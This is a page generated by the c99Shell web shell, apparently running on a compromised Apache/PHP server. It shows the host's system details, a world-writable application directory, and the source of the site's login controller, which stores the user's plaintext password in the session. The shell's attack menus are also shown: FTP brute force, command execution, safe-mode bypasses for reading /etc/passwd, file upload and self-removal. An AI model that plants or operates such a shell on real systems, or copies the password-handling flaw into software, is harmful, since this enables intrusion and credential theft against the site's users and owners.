!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/controllers/   drwxrwxrwx
Free 52.33 GB of 127.8 GB (40.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     login.php (4.81 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class Login extends CI_Controller{

    public 
$body;
    function 
index() {
        
$data ' ';
        
$this->body $this->load->view('info/v_info',' ',true);
        
$this->show();
    }

    function 
user_login(){
        
$un $this->input->post('Username');
        
$pwd $this->input->post('Password');
        
$nowDate $this->input->post('nowDate');
        
$stid $this->input->post('stid');
        
$gpid $this->input->post('gpid');

        
$this->load->model('ums/m_umuser','obj');
        
$rs $this->obj->check_user($un$pwd);
        if(
$rs){
            
$DptName '< ไม่สังกัดหน่วยงานใดๆ >';
            
/* ค้นหาข้อมูลฝ่าย */
            
$prsUsId $rs['UsPsCode'];
            
$prsUsId $this->session->userdata('UsPsCode');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_persondepartment','pd');
            
$ord_rs_pd = array('pdSeq' => 'ASC');
            if(
substr($prsUsId,0,5) == 'psout'){// กรณีที่1 อาจารย์พิเศษ หรือบุคคลภายนอก;
                
$con_rs_pd = array('pdPrsId' => substr($prsUsId,5));
            }else{
// กรณีที่2 อาจารย์ประจำ
                
$con_rs_pd = array('pdPrsId' => $prsUsId);
            }
            
$qu_dpt $this->pd->qryPdJoinDpt($con_rs_pd$ord_rs_pd);
            if(
$qu_dpt->num_rows() > 0){
                
$row_dpt $qu_dpt->row();
                
$DptName $row_dpt->deptName;
            }else{ 
// ไม่พบการบันทึกข้อมูลหน่วยงานที่สังกัด
                
$DptName '< ไม่สังกัดหน่วยงานใดๆ >';
            }
            
/* end ค้นหาข้อมูลฝ่าย */

            
$this->load->model($this->config->item("rg_folder").'mo_rg_termconfig','tmc');
            
$nowDateCv splitDateForm2($this->input->post('firstDate'));

            
$data = array(    'UsID'  => $rs['UsID'],
                            
'UsName' => $rs['UsName'],
                            
'UsLogin' => $rs['UsLogin'],
                            
'UsPassword' => $pwd,
                            
'UsPsCode' => $rs['UsPsCode'],
                            
'UsWgID' => $rs['UsWgID'],
                            
'logged_in'  => TRUE,
                            
'login_date' => $nowDateCv,
                            
'DptName' => $DptName
                        
);
            
$this->session->set_userdata($data);

            
$record $this->tmc->getBetweenDateByNowDateJoinTm($nowDateCv);

            if(
$record->num_rows() > 0){
                
$rc $record->row();

                
//$this->config->set_item('ACADYEAR', $rc->tmcAcY);
                //$this->config->set_item('SEMESTER', $rc->tmCode);
                
$data2 = array(    'acY'  => $rc->tmcAcY,
                                
'tmId'  => $rc->tmcTmId
                                
'tmCode'  => $rc->tmCode);
            }else{
                
/*$this->session->set_flashdata('error_date_input', '<div id="message" align="center"><font color="red">วันที่ผิดพลาด <br>ไม่พบวันที่ในปฏิทินการศึกษา</font></div>');
                //redirect('info/info');
                redirect('login');*/

                
$data2 = array('acY'    => '',
                               
'tmId'    => '',
                               
'tmCode'    => '');
            }

            
$this->session->set_userdata($data2);

            
$today date('Y-m-d');
            
$record2 $this->tmc->getBetweenDateByNowDateJoinTm($today);
            if(
$record2->num_rows() > 0){
                
$rc $record2->row();
                
$data3 = array(    'acY_R'  => $rc->tmcAcY,
                                
'tmId_R'  => $rc->tmcTmId
                                
'tmCode_R'  => $rc->tmCode);
            } else {
                
$data3 = array(    'acY_R'  => '',
                                
'tmId_R'  => ''
                                
'tmCode_R'  => '');
            }

            
$this->session->set_userdata($data3);

            if (
$stid && $gpid) {
                
redirect('info/info/mainMenu/'.$stid.'/'.$gpid);
            } else {
                
redirect('info/info/showSystem');
            }
        }
           else{
              
$this->session->set_flashdata('message''<div id="message" align="center"><font color="red">ชื่อเข้าใช้งานหรือรหัสผ่าน<br>ผิดพลาด</font></div>');
            
redirect('login');
            
        }
    }

    function 
show() {

        
$mn['menu'] = $this->load->view('info/v_prelogin','',true);
        
$lv['body'] = $this->body;

        
$lv['head'] = $this->load->view('info/v_header',$mn,true);
        
$lv['footer'] = $this->load->view('info/v_footer','',true);

        
$this->load->view('info/v_in',$lv);
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0064 ]--